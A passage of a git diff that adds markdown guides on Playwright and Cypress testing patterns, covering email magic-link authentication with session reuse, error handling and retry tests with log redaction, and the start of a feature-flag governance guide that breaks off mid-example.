+// cypress/e2e/place-order.cy.ts
+describe('Place Order', () => {
+  beforeEach(() => {
+    cy.visit('/');
+    cy.registerAndSignIn({
+      fullName: Cypress.env('fullName'), // From cypress.config
+      userName: Cypress.env('userName'),
+      email: Cypress.env('email'), // SAME email across all specs
+      password: Cypress.env('password'),
+    });
+  });
+
+  it('should place order', () => {
+    /* ... */
+  });
+  it('should view order history', () => {
+    /* ... */
+  });
+});
+
+// cypress/e2e/profile.cy.ts
+describe('User Profile', () => {
+  beforeEach(() => {
+    cy.visit('/');
+    cy.registerAndSignIn({
+      fullName: Cypress.env('fullName'),
+      userName: Cypress.env('userName'),
+      email: Cypress.env('email'), // SAME email - no new email sent!
+      password: Cypress.env('password'),
+    });
+  });
+
+  it('should update profile', () => {
+    /* ... */
+  });
+});
+```
+
+**Playwright equivalent with storageState**:
+
+```typescript
+// playwright.config.ts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  projects: [
+    {
+      name: 'setup',
+      testMatch: /global-setup\.ts/,
+    },
+    {
+      name: 'authenticated',
+      testMatch: /.*\.spec\.ts/,
+      dependencies: ['setup'],
+      use: {
+        storageState: '.auth/user-session.json', // Reuse auth state
+      },
+    },
+  ],
+});
+```
+
+```typescript
+// tests/global-setup.ts (runs once)
+import { test as setup } from '@playwright/test';
+import { getMagicLinkFromEmail } from './support/mailosaur-helpers';
+
+const authFile = '.auth/user-session.json';
+
+setup('authenticate via magic link', async ({ page }) => {
+  const testEmail = process.env.TEST_USER_EMAIL!;
+
+  // Request magic link
+  await page.goto('/login');
+  await page.getByTestId('email-input').fill(testEmail);
+  await page.getByTestId('send-magic-link').click();
+
+  // Get and visit magic link
+  const magicLink = await getMagicLinkFromEmail(testEmail);
+  await page.goto(magicLink);
+
+  // Verify authenticated
+  await expect(page.getByTestId('user-menu')).toBeVisible();
+
+  // Save authenticated state (ONE TIME for all tests)
+  await page.context().storageState({ path: authFile });
+
+  console.log('✅ Authentication state saved to', authFile);
+});
+```
+
+**Key Points**:
+
+- **One email per run**: Global setup authenticates once
+- **State reuse**: All tests use cached storageState
+- **cypress-data-session**: Intelligently manages cache lifecycle
+- **shareAcrossSpecs**: Session shared across all spec files
+- **Massive savings**: 500 tests = 1 email (not 500!)
+
+---
+
+## Email Authentication Testing Checklist
+
+Before implementing email auth tests, verify:
+
+- [ ] **Email service**: Mailosaur/Ethereal/MailHog configured with API keys
+- [ ] **Link extraction**: Use built-in parsing (html.links[0].href) over regex
+- [ ] **State preservation**: localStorage/session/cookies saved and restored
+- [ ] **Session caching**: cypress-data-session or storageState prevents redundant emails
+- [ ] **Negative flows**: Expired, invalid, reused, rapid requests tested
+- [ ] **Quota awareness**: One email per run (not per test)
+- [ ] **PII scrubbing**: Email IDs logged for debug, but scrubbed from artifacts
+- [ ] **Timeout handling**: 30 second email retrieval timeout configured
+
+## Integration Points
+
+- Used in workflows: `*framework` (email auth setup), `*automate` (email auth test generation)
+- Related fragments: `fixture-architecture.md`, `test-quality.md`
+- Email services: Mailosaur (recommended), Ethereal (free), MailHog (self-hosted)
+- Plugins: cypress-mailosaur, cypress-data-session
+
+_Source: Email authentication blog, Murat testing toolkit, Mailosaur documentation_
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/error-handling.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/error-handling.md
new file mode 100644
index 0000000..32de3d5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/error-handling.md
@@ -0,0 +1,725 @@
+# Error Handling and Resilience Checks
+
+## Principle
+
+Treat expected failures explicitly: intercept network errors, assert UI fallbacks (error messages visible, retries triggered), and use scoped exception handling to ignore known errors while catching regressions. Test retry/backoff logic by forcing sequential failures (500 → timeout → success) and validate telemetry logging. Log captured errors with context (request payload, user/session) but redact secrets to keep artifacts safe for sharing.
+
+## Rationale
+
+Tests fail for two reasons: genuine bugs or poor error handling in the test itself. Without explicit error handling patterns, tests become noisy (uncaught exceptions cause false failures) or silent (swallowing all errors hides real bugs). Scoped exception handling (Cypress.on('uncaught:exception'), page.on('pageerror')) allows tests to ignore documented, expected errors while surfacing unexpected ones. Resilience testing (retry logic, graceful degradation) ensures applications handle failures gracefully in production.
+
+## Pattern Examples
+
+### Example 1: Scoped Exception Handling (Expected Errors Only)
+
+**Context**: Handle known errors (Network failures, expected 500s) without masking unexpected bugs.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/error-handling.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Scoped Error Handling Pattern
+ * - Only ignore specific, documented errors
+ * - Rethrow everything else to catch regressions
+ * - Validate error UI and user experience
+ */
+
+test.describe('API Error Handling', () => {
+  test('should display error message when API returns 500', async ({ page }) => {
+    // Scope error handling to THIS test only
+    const consoleErrors: string[] = [];
+    page.on('pageerror', (error) => {
+      // Only swallow documented NetworkError
+      if (error.message.includes('NetworkError: Failed to fetch')) {
+        consoleErrors.push(error.message);
+        return; // Swallow this specific error
+      }
+      // Rethrow all other errors (catch regressions!)
+      throw error;
+    });
+
+    // Arrange: Mock 500 error response
+    await page.route('**/api/users', (route) =>
+      route.fulfill({
+        status: 500,
+        contentType: 'application/json',
+        body: JSON.stringify({
+          error: 'Internal server error',
+          code: 'INTERNAL_ERROR',
+        }),
+      }),
+    );
+
+    // Act: Navigate to page that fetches users
+    await page.goto('/dashboard');
+
+    // Assert: Error UI displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/error.*loading|failed.*load/i);
+
+    // Assert: Retry button visible
+    await expect(page.getByTestId('retry-button')).toBeVisible();
+
+    // Assert: NetworkError was thrown and caught
+    expect(consoleErrors).toContainEqual(expect.stringContaining('NetworkError'));
+  });
+
+  test('should NOT swallow unexpected errors', async ({ page }) => {
+    let unexpectedError: Error | null = null;
+
+    page.on('pageerror', (error) => {
+      // Capture but don't swallow - test should fail
+      unexpectedError = error;
+      throw error;
+    });
+
+    // Arrange: App has JavaScript error (bug)
+    await page.addInitScript(() => {
+      // Simulate bug in app code
+      (window as any).buggyFunction = () => {
+        throw new Error('UNEXPECTED BUG: undefined is not a function');
+      };
+    });
+
+    await page.goto('/dashboard');
+
+    // Trigger buggy function
+    await page.evaluate(() => (window as any).buggyFunction());
+
+    // Assert: Test fails because unexpected error was NOT swallowed
+    expect(unexpectedError).not.toBeNull();
+    expect(unexpectedError?.message).toContain('UNEXPECTED BUG');
+  });
+});
+```
+
+**Cypress equivalent**:
+
+```javascript
+// cypress/e2e/error-handling.cy.ts
+describe('API Error Handling', () => {
+  it('should display error message when API returns 500', () => {
+    // Scoped to this test only
+    cy.on('uncaught:exception', (err) => {
+      // Only swallow documented NetworkError
+      if (err.message.includes('NetworkError')) {
+        return false; // Prevent test failure
+      }
+      // All other errors fail the test
+      return true;
+    });
+
+    // Arrange: Mock 500 error
+    cy.intercept('GET', '**/api/users', {
+      statusCode: 500,
+      body: {
+        error: 'Internal server error',
+        code: 'INTERNAL_ERROR',
+      },
+    }).as('getUsers');
+
+    // Act
+    cy.visit('/dashboard');
+    cy.wait('@getUsers');
+
+    // Assert: Error UI
+    cy.get('[data-cy="error-message"]').should('be.visible');
+    cy.get('[data-cy="error-message"]').should('contain', 'error loading');
+    cy.get('[data-cy="retry-button"]').should('be.visible');
+  });
+
+  it('should NOT swallow unexpected errors', () => {
+    // No exception handler - test should fail on unexpected errors
+
+    cy.visit('/dashboard');
+
+    // Trigger unexpected error
+    cy.window().then((win) => {
+      // This should fail the test
+      win.eval('throw new Error("UNEXPECTED BUG")');
+    });
+
+    // Test fails (as expected) - validates error detection works
+  });
+});
+```
+
+**Key Points**:
+
+- **Scoped handling**: page.on() / cy.on() scoped to specific tests
+- **Explicit allow-list**: Only ignore documented errors
+- **Rethrow unexpected**: Catch regressions by failing on unknown errors
+- **Error UI validation**: Assert user sees error message
+- **Logging**: Capture errors for debugging, don't swallow silently
+
+---
+
+### Example 2: Retry Validation Pattern (Network Resilience)
+
+**Context**: Test that retry/backoff logic works correctly for transient failures.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/retry-resilience.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Retry Validation Pattern
+ * - Force sequential failures (500 → 500 → 200)
+ * - Validate retry attempts and backoff timing
+ * - Assert telemetry captures retry events
+ */
+
+test.describe('Network Retry Logic', () => {
+  test('should retry on 500 error and succeed', async ({ page }) => {
+    let attemptCount = 0;
+    const attemptTimestamps: number[] = [];
+
+    // Mock API: Fail twice, succeed on third attempt
+    await page.route('**/api/products', (route) => {
+      attemptCount++;
+      attemptTimestamps.push(Date.now());
+
+      if (attemptCount <= 2) {
+        // First 2 attempts: 500 error
+        route.fulfill({
+          status: 500,
+          body: JSON.stringify({ error: 'Server error' }),
+        });
+      } else {
+        // 3rd attempt: Success
+        route.fulfill({
+          status: 200,
+          contentType: 'application/json',
+          body: JSON.stringify({ products: [{ id: 1, name: 'Product 1' }] }),
+        });
+      }
+    });
+
+    // Act: Navigate (should retry automatically)
+    await page.goto('/products');
+
+    // Assert: Data eventually loads after retries
+    await expect(page.getByTestId('product-list')).toBeVisible();
+    await expect(page.getByTestId('product-item')).toHaveCount(1);
+
+    // Assert: Exactly 3 attempts made
+    expect(attemptCount).toBe(3);
+
+    // Assert: Exponential backoff timing (1s → 2s between attempts)
+    if (attemptTimestamps.length === 3) {
+      const delay1 = attemptTimestamps[1] - attemptTimestamps[0];
+      const delay2 = attemptTimestamps[2] - attemptTimestamps[1];
+
+      expect(delay1).toBeGreaterThanOrEqual(900); // ~1 second
+      expect(delay1).toBeLessThan(1200);
+      expect(delay2).toBeGreaterThanOrEqual(1900); // ~2 seconds
+      expect(delay2).toBeLessThan(2200);
+    }
+
+    // Assert: Telemetry logged retry events
+    const telemetryEvents = await page.evaluate(() => (window as any).__TELEMETRY_EVENTS__ || []);
+    expect(telemetryEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'api_retry',
+        attempt: 1,
+        endpoint: '/api/products',
+      }),
+    );
+    expect(telemetryEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'api_retry',
+        attempt: 2,
+      }),
+    );
+  });
+
+  test('should give up after max retries and show error', async ({ page }) => {
+    let attemptCount = 0;
+
+    // Mock API: Always fail (test retry limit)
+    await page.route('**/api/products', (route) => {
+      attemptCount++;
+      route.fulfill({
+        status: 500,
+        body: JSON.stringify({ error: 'Persistent server error' }),
+      });
+    });
+
+    // Act
+    await page.goto('/products');
+
+    // Assert: Max retries reached (3 attempts typical)
+    expect(attemptCount).toBe(3);
+
+    // Assert: Error UI displayed after exhausting retries
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/unable.*load|failed.*after.*retries/i);
+
+    // Assert: Data not displayed
+    await expect(page.getByTestId('product-list')).not.toBeVisible();
+  });
+
+  test('should NOT retry on 404 (non-retryable error)', async ({ page }) => {
+    let attemptCount = 0;
+
+    // Mock API: 404 error (should NOT retry)
+    await page.route('**/api/products/999', (route) => {
+      attemptCount++;
+      route.fulfill({
+        status: 404,
+        body: JSON.stringify({ error: 'Product not found' }),
+      });
+    });
+
+    await page.goto('/products/999');
+
+    // Assert: Only 1 attempt (no retries on 404)
+    expect(attemptCount).toBe(1);
+
+    // Assert: 404 error displayed immediately
+    await expect(page.getByTestId('not-found-message')).toBeVisible();
+  });
+});
+```
+
+**Cypress with retry interception**:
+
+```javascript
+// cypress/e2e/retry-resilience.cy.ts
+describe('Network Retry Logic', () => {
+  it('should retry on 500 and succeed on 3rd attempt', () => {
+    let attemptCount = 0;
+
+    cy.intercept('GET', '**/api/products', (req) => {
+      attemptCount++;
+
+      if (attemptCount <= 2) {
+        req.reply({ statusCode: 500, body: { error: 'Server error' } });
+      } else {
+        req.reply({ statusCode: 200, body: { products: [{ id: 1, name: 'Product 1' }] } });
+      }
+    }).as('getProducts');
+
+    cy.visit('/products');
+
+    // Wait for final successful request
+    cy.wait('@getProducts').its('response.statusCode').should('eq', 200);
+
+    // Assert: Data loaded
+    cy.get('[data-cy="product-list"]').should('be.visible');
+    cy.get('[data-cy="product-item"]').should('have.length', 1);
+
+    // Validate retry count
+    cy.wrap(attemptCount).should('eq', 3);
+  });
+});
+```
+
+**Key Points**:
+
+- **Sequential failures**: Test retry logic with 500 → 500 → 200
+- **Backoff timing**: Validate exponential backoff delays
+- **Retry limits**: Max attempts enforced (typically 3)
+- **Non-retryable errors**: 404s don't trigger retries
+- **Telemetry**: Log retry attempts for monitoring
+
+---
+
+### Example 3: Telemetry Logging with Context (Sentry Integration)
+
+**Context**: Capture errors with full context for production debugging without exposing secrets.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/telemetry-logging.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Telemetry Logging Pattern
+ * - Log errors with request context
+ * - Redact sensitive data (tokens, passwords, PII)
+ * - Integrate with monitoring (Sentry, Datadog)
+ * - Validate error logging without exposing secrets
+ */
+
+type ErrorLog = {
+  level: 'error' | 'warn' | 'info';
+  message: string;
+  context?: {
+    endpoint?: string;
+    method?: string;
+    statusCode?: number;
+    userId?: string;
+    sessionId?: string;
+  };
+  timestamp: string;
+};
+
+test.describe('Error Telemetry', () => {
+  test('should log API errors with context', async ({ page }) => {
+    const errorLogs: ErrorLog[] = [];
+
+    // Capture console errors
+    page.on('console', (msg) => {
+      if (msg.type() === 'error') {
+        try {
+          const log = JSON.parse(msg.text());
+          errorLogs.push(log);
+        } catch {
+          // Not a structured log, ignore
+        }
+      }
+    });
+
+    // Mock failing API
+    await page.route('**/api/orders', (route) =>
+      route.fulfill({
+        status: 500,
+        body: JSON.stringify({ error: 'Payment processor unavailable' }),
+      }),
+    );
+
+    // Act: Trigger error
+    await page.goto('/checkout');
+    await page.getByTestId('place-order').click();
+
+    // Wait for error UI
+    await expect(page.getByTestId('error-message')).toBeVisible();
+
+    // Assert: Error logged with context
+    expect(errorLogs).toContainEqual(
+      expect.objectContaining({
+        level: 'error',
+        message: expect.stringContaining('API request failed'),
+        context: expect.objectContaining({
+          endpoint: '/api/orders',
+          method: 'POST',
+          statusCode: 500,
+          userId: expect.any(String),
+        }),
+      }),
+    );
+
+    // Assert: Sensitive data NOT logged
+    const logString = JSON.stringify(errorLogs);
+    expect(logString).not.toContain('password');
+    expect(logString).not.toContain('token');
+    expect(logString).not.toContain('creditCard');
+  });
+
+  test('should send errors to Sentry with breadcrumbs', async ({ page }) => {
+    const sentryEvents: any[] = [];
+
+    // Mock Sentry SDK
+    await page.addInitScript(() => {
+      (window as any).Sentry = {
+        captureException: (error: Error, context?: any) => {
+          (window as any).__SENTRY_EVENTS__ = (window as any).__SENTRY_EVENTS__ || [];
+          (window as any).__SENTRY_EVENTS__.push({
+            error: error.message,
+            context,
+            timestamp: Date.now(),
+          });
+        },
+        addBreadcrumb: (breadcrumb: any) => {
+          (window as any).__SENTRY_BREADCRUMBS__ = (window as any).__SENTRY_BREADCRUMBS__ || [];
+          (window as any).__SENTRY_BREADCRUMBS__.push(breadcrumb);
+        },
+      };
+    });
+
+    // Mock failing API
+    await page.route('**/api/users', (route) => route.fulfill({ status: 403, body: { error: 'Forbidden' } }));
+
+    // Act
+    await page.goto('/users');
+
+    // Assert: Sentry captured error
+    const events = await page.evaluate(() => (window as any).__SENTRY_EVENTS__);
+    expect(events).toHaveLength(1);
+    expect(events[0]).toMatchObject({
+      error: expect.stringContaining('403'),
+      context: expect.objectContaining({
+        endpoint: '/api/users',
+        statusCode: 403,
+      }),
+    });
+
+    // Assert: Breadcrumbs include user actions
+    const breadcrumbs = await page.evaluate(() => (window as any).__SENTRY_BREADCRUMBS__);
+    expect(breadcrumbs).toContainEqual(
+      expect.objectContaining({
+        category: 'navigation',
+        message: '/users',
+      }),
+    );
+  });
+});
+```
+
+**Cypress with Sentry**:
+
+```javascript
+// cypress/e2e/telemetry-logging.cy.ts
+describe('Error Telemetry', () => {
+  it('should log API errors with redacted sensitive data', () => {
+    const errorLogs = [];
+
+    // Capture console errors
+    cy.on('window:before:load', (win) => {
+      cy.stub(win.console, 'error').callsFake((msg) => {
+        errorLogs.push(msg);
+      });
+    });
+
+    // Mock failing API
+    cy.intercept('POST', '**/api/orders', {
+      statusCode: 500,
+      body: { error: 'Payment failed' },
+    });
+
+    // Act
+    cy.visit('/checkout');
+    cy.get('[data-cy="place-order"]').click();
+
+    // Assert: Error logged
+    cy.wrap(errorLogs).should('have.length.greaterThan', 0);
+
+    // Assert: Context included
+    cy.wrap(errorLogs[0]).should('include', '/api/orders');
+
+    // Assert: Secrets redacted
+    cy.wrap(JSON.stringify(errorLogs)).should('not.contain', 'password');
+    cy.wrap(JSON.stringify(errorLogs)).should('not.contain', 'creditCard');
+  });
+});
+```
+
+**Error logger utility with redaction**:
+
+```typescript
+// src/utils/error-logger.ts
+type ErrorContext = {
+  endpoint?: string;
+  method?: string;
+  statusCode?: number;
+  userId?: string;
+  sessionId?: string;
+  requestPayload?: any;
+};
+
+const SENSITIVE_KEYS = ['password', 'token', 'creditCard', 'ssn', 'apiKey'];
+
+/**
+ * Redact sensitive data from objects
+ */
+function redactSensitiveData(obj: any): any {
+  if (typeof obj !== 'object' || obj === null) return obj;
+
+  const redacted = { ...obj };
+
+  for (const key of Object.keys(redacted)) {
+    if (SENSITIVE_KEYS.some((sensitive) => key.toLowerCase().includes(sensitive))) {
+      redacted[key] = '[REDACTED]';
+    } else if (typeof redacted[key] === 'object') {
+      redacted[key] = redactSensitiveData(redacted[key]);
+    }
+  }
+
+  return redacted;
+}
+
+/**
+ * Log error with context (Sentry integration)
+ */
+export function logError(error: Error, context?: ErrorContext) {
+  const safeContext = context ? redactSensitiveData(context) : {};
+
+  const errorLog = {
+    level: 'error' as const,
+    message: error.message,
+    stack: error.stack,
+    context: safeContext,
+    timestamp: new Date().toISOString(),
+  };
+
+  // Console (development)
+  console.error(JSON.stringify(errorLog));
+
+  // Sentry (production)
+  if (typeof window !== 'undefined' && (window as any).Sentry) {
+    (window as any).Sentry.captureException(error, {
+      contexts: { custom: safeContext },
+    });
+  }
+}
+```
+
+**Key Points**:
+
+- **Context-rich logging**: Endpoint, method, status, user ID
+- **Secret redaction**: Passwords, tokens, PII removed before logging
+- **Sentry integration**: Production monitoring with breadcrumbs
+- **Structured logs**: JSON format for easy parsing
+- **Test validation**: Assert logs contain context but not secrets
+
+---
+
+### Example 4: Graceful Degradation Tests (Fallback Behavior)
+
+**Context**: Validate application continues functioning when services are unavailable.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/graceful-degradation.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Graceful Degradation Pattern
+ * - Simulate service unavailability
+ * - Validate fallback behavior
+ * - Ensure user experience degrades gracefully
+ * - Verify telemetry captures degradation events
+ */
+
+test.describe('Service Unavailability', () => {
+  test('should display cached data when API is down', async ({ page }) => {
+    // Arrange: Seed localStorage with cached data
+    await page.addInitScript(() => {
+      localStorage.setItem(
+        'products_cache',
+        JSON.stringify({
+          data: [
+            { id: 1, name: 'Cached Product 1' },
+            { id: 2, name: 'Cached Product 2' },
+          ],
+          timestamp: Date.now(),
+        }),
+      );
+    });
+
+    // Mock API unavailable
+    await page.route(
+      '**/api/products',
+      (route) => route.abort('connectionrefused'), // Simulate server down
+    );
+
+    // Act
+    await page.goto('/products');
+
+    // Assert: Cached data displayed
+    await expect(page.getByTestId('product-list')).toBeVisible();
+    await expect(page.getByText('Cached Product 1')).toBeVisible();
+
+    // Assert: Stale data warning shown
+    await expect(page.getByTestId('cache-warning')).toBeVisible();
+    await expect(page.getByTestId('cache-warning')).toContainText(/showing.*cached|offline.*mode/i);
+
+    // Assert: Retry button available
+    await expect(page.getByTestId('refresh-button')).toBeVisible();
+  });
+
+  test('should show fallback UI when analytics service fails', async ({ page }) => {
+    // Mock analytics service down (non-critical)
+    await page.route('**/analytics/track', (route) => route.fulfill({ status: 503, body: 'Service unavailable' }));
+
+    // Act: Navigate normally
+    await page.goto('/dashboard');
+
+    // Assert: Page loads successfully (analytics failure doesn't block)
+    await expect(page.getByTestId('dashboard-content')).toBeVisible();
+
+    // Assert: Analytics error logged but not shown to user
+    const consoleErrors = [];
+    page.on('console', (msg) => {
+      if (msg.type() === 'error') consoleErrors.push(msg.text());
+    });
+
+    // Trigger analytics event
+    await page.getByTestId('track-action-button').click();
+
+    // Analytics error logged
+    expect(consoleErrors).toContainEqual(expect.stringContaining('Analytics service unavailable'));
+
+    // But user doesn't see error
+    await expect(page.getByTestId('error-message')).not.toBeVisible();
+  });
+
+  test('should fallback to local validation when API is slow', async ({ page }) => {
+    // Mock slow API (> 5 seconds)
+    await page.route('**/api/validate-email', async (route) => {
+      await new Promise((resolve) => setTimeout(resolve, 6000)); // 6 second delay
+      route.fulfill({
+        status: 200,
+        body: JSON.stringify({ valid: true }),
+      });
+    });
+
+    // Act: Fill form
+    await page.goto('/signup');
+    await page.getByTestId('email-input').fill('test@example.com');
+    await page.getByTestId('email-input').blur();
+
+    // Assert: Client-side validation triggers immediately (doesn't wait for API)
+    await expect(page.getByTestId('email-valid-icon')).toBeVisible({ timeout: 1000 });
+
+    // Assert: Eventually API validates too (but doesn't block UX)
+    await expect(page.getByTestId('email-validated-badge')).toBeVisible({ timeout: 7000 });
+  });
+
+  test('should maintain functionality with third-party script failure', async ({ page }) => {
+    // Block third-party scripts (Google Analytics, Intercom, etc.)
+    await page.route('**/*.google-analytics.com/**', (route) => route.abort());
+    await page.route('**/*.intercom.io/**', (route) => route.abort());
+
+    // Act
+    await page.goto('/');
+
+    // Assert: App works without third-party scripts
+    await expect(page.getByTestId('main-content')).toBeVisible();
+    await expect(page.getByTestId('nav-menu')).toBeVisible();
+
+    // Assert: Core functionality intact
+    await page.getByTestId('nav-products').click();
+    await expect(page).toHaveURL(/.*\/products/);
+  });
+});
+```
+
+**Key Points**:
+
+- **Cached fallbacks**: Display stale data when API unavailable
+- **Non-critical degradation**: Analytics failures don't block app
+- **Client-side fallbacks**: Local validation when API slow
+- **Third-party resilience**: App works without external scripts
+- **User transparency**: Stale data warnings displayed
+
+---
+
+## Error Handling Testing Checklist
+
+Before shipping error handling code, verify:
+
+- [ ] **Scoped exception handling**: Only ignore documented errors (NetworkError, specific codes)
+- [ ] **Rethrow unexpected**: Unknown errors fail tests (catch regressions)
+- [ ] **Error UI tested**: User sees error messages for all error states
+- [ ] **Retry logic validated**: Sequential failures test backoff and max attempts
+- [ ] **Telemetry verified**: Errors logged with context (endpoint, status, user)
+- [ ] **Secret redaction**: Logs don't contain passwords, tokens, PII
+- [ ] **Graceful degradation**: Critical services down, app shows fallback UI
+- [ ] **Non-critical failures**: Analytics/tracking failures don't block app
+
+## Integration Points
+
+- Used in workflows: `*automate` (error handling test generation), `*test-review` (error pattern detection)
+- Related fragments: `network-first.md`, `test-quality.md`, `contract-testing.md`
+- Monitoring tools: Sentry, Datadog, LogRocket
+
+_Source: Murat error-handling patterns, Pact resilience guidance, enterprise production error handling_
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/feature-flags.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/feature-flags.md
new file mode 100644
index 0000000..2b8a458
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/feature-flags.md
@@ -0,0 +1,750 @@
+# Feature Flag Governance
+
+## Principle
+
+Feature flags enable controlled rollouts and A/B testing, but require disciplined testing governance. Centralize flag definitions in a frozen enum, test both enabled and disabled states, clean up targeting after each spec, and maintain a comprehensive flag lifecycle checklist. For LaunchDarkly-style systems, script API helpers to seed variations programmatically rather than manual UI mutations.
+
+## Rationale
+
+Poorly managed feature flags become technical debt: untested variations ship broken code, forgotten flags clutter the codebase, and shared environments become unstable from leftover targeting rules. Structured governance ensures flags are testable, traceable, temporary, and safe. Testing both states prevents surprises when flags flip in production.
+
+## Pattern Examples
+
+### Example 1: Feature Flag Enum Pattern with Type Safety
+
+**Context**: Centralized flag management with TypeScript type safety and runtime validation.
+
+**Implementation**:
+
+```typescript
+// src/utils/feature-flags.ts
+/**
+ * Centralized feature flag definitions
+ * - Object.freeze prevents runtime modifications
+ * - TypeScript ensures compile-time type safety
+ * - Single source of truth for all flag keys
+ */
+export const FLAGS = Object.freeze({
+  // User-facing features
+  NEW_CHECKOUT_FLOW: 'new-checkout-flow',
+  DARK_MODE: 'dark-mode',
+  ENHANCED_SEARCH: 'enhanced-search',
+
+  // Experiments
+  PRICING_EXPERIMENT_A: 'pricing-experiment-a',
+  HOMEPAGE_VARIANT_B: 'homepage-variant-b',
+
+  // Infrastructure
+  USE_NEW_API_ENDPOINT: 'use-new-api-endpoint',
+  ENABLE_ANALYTICS_V2: 'enable-analytics-v2',
+
+  // Killswitches (emergency disables)
+  DISABLE_PAYMENT_PROCESSING: 'disable-payment-processing',
+  DISABLE_EMAIL_NOTIFICATIONS: 'disable-email-notifications',
+} as const);
+
+/**
+ * Type-safe flag keys
+ * Prevents typos and ensures autocomplete in IDEs
+ */
+export type FlagKey = (typeof FLAGS)[keyof typeof FLAGS];
+
+/**
+ * Flag metadata for governance
+ */
+type FlagMetadata = {
+  key: FlagKey;
+  name: string;
+  owner: string;
+  createdDate: string;
+  expiryDate?: string;
+  defaultState: boolean;
+  requiresCleanup: boolean;
+  dependencies?: FlagKey[];
+  telemetryEvents?: string[];
+};
+
+/**
+ * Flag registry with governance metadata
+ * Used for flag lifecycle tracking and cleanup alerts
+ */
+export const FLAG_REGISTRY: Record<FlagKey, FlagMetadata> = {
+  [FLAGS.NEW_CHECKOUT_FLOW]: {
+    key: FLAGS.NEW_CHECKOUT_FLOW,
+    name: 'New Checkout Flow',
+    owner: 'payments-team',
+    createdDate: '2025-01-15',
+    expiryDate: '2025-03-15',
+    defaultState: false,
+    requiresCleanup: true,
+    dependencies: [FLAGS.USE_NEW_API_ENDPOINT],
+    telemetryEvents: ['checkout_started', 'checkout_completed'],
+  },
+  [FLAGS.DARK_MODE]: {
+    key: FLAGS.DARK_MODE,
+    name: 'Dark Mode UI',
+    owner: 'frontend-team',
+    createdDate: '2025-01-10',
+    defaultState: false,
+    requiresCleanup: false, // Permanent feature toggle
+  },
+  // ... rest of registry
+};
+
+/**
+ * Validate flag exists in registry
+ * Throws at runtime if flag is unregistered
+ */
+export function validateFlag(flag: string): asserts flag is FlagKey {
+  if (!Object.values(FLAGS).includes(flag as FlagKey)) {
+    throw new Error(`Unregistered feature flag: ${flag}`);
+  }
+}
+
+/**
+ * Check if flag is expired (needs removal)
+ */
+export function isFlagExpired(flag: FlagKey): boolean {
+  const metadata = FLAG_REGISTRY[flag];
+  if (!metadata.expiryDate) return false;
+
+  const expiry = new Date(metadata.expiryDate);
+  return Date.now() > expiry.getTime();
+}
+
+/**
+ * Get all expired flags requiring cleanup
+ */
+export function getExpiredFlags(): FlagMetadata[] {
+  return Object.values(FLAG_REGISTRY).filter((meta) => isFlagExpired(meta.key));
+}
+```
+
+**Usage in application code**:
+
+```typescript
+// components/Checkout.tsx
+import { FLAGS } from '@/utils/feature-flags';
+import { useFeatureFlag } from '@/hooks/useFeatureFlag';
+
+export function Checkout() {
+  const isNewFlow = useFeatureFlag(FLAGS.NEW_CHECKOUT_FLOW);
+
+  return isNewFlow ? <NewCheckoutFlow /> : <LegacyCheckoutFlow />;
+}
+```
+
+**Key Points**:
+
+- **Type safety**: TypeScript catches typos at compile time
+- **Runtime validation**: validateFlag ensures only registered flags used
+- **Metadata tracking**: Owner, dates, dependencies documented
+- **Expiry alerts**: Automated detection of stale flags
+- **Single source of truth**: All flags defined in one place
+
+---
+
+### Example 2: Feature Flag Testing Pattern (Both States)
+
+**Context**: Comprehensive testing of feature flag variations with proper cleanup.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout-feature-flag.spec.ts
+import { test, expect } from '@playwright/test';
+import { FLAGS } from '@/utils/feature-flags';
+
+/**
+ * Feature Flag Testing Strategy:
+ * 1. Test BOTH enabled and disabled states
+ * 2. Clean up targeting after each test
+ * 3. Use dedicated test users (not production data)
+ * 4. Verify telemetry events fire correctly
+ */
+
+test.describe('Checkout Flow - Feature Flag Variations', () => {
+  let testUserId: string;
+
+  test.beforeEach(async () => {
+    // Generate unique test user ID
+    testUserId = `test-user-${Date.now()}`;
+  });
+
+  test.afterEach(async ({ request }) => {
+    // CRITICAL: Clean up flag targeting to prevent shared env pollution
+    await request.post('/api/feature-flags/cleanup', {
+      data: {
+        flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+        userId: testUserId,
+      },
+    });
+  });
+
+  test('should use NEW checkout flow when flag is ENABLED', async ({ page, request }) => {
+    // Arrange: Enable flag for test user
+    await request.post('/api/feature-flags/target', {
+      data: {
+        flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+        userId: testUserId,
+        variation: true, // ENABLED
+      },
+    });
+
+    // Act: Navigate as targeted user
+    await page.goto('/checkout', {
+      extraHTTPHeaders: {
+        'X-Test-User-ID': testUserId,
+      },
+    });
+
+    // Assert: New flow UI elements visible
+    await expect(page.getByTestId('checkout-v2-container')).toBeVisible();
+    await expect(page.getByTestId('express-payment-options')).toBeVisible();
+    await expect(page.getByTestId('saved-addresses-dropdown')).toBeVisible();
+
+    // Assert: Legacy flow NOT visible
+    await expect(page.getByTestId('checkout-v1-container')).not.toBeVisible();
+
+    // Assert: Telemetry event fired
+    const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS_EVENTS__ || []);
+    expect(analyticsEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'checkout_started',
+        properties: expect.objectContaining({
+          variant: 'new_flow',
+        }),
+      }),
+    );
+  });
+
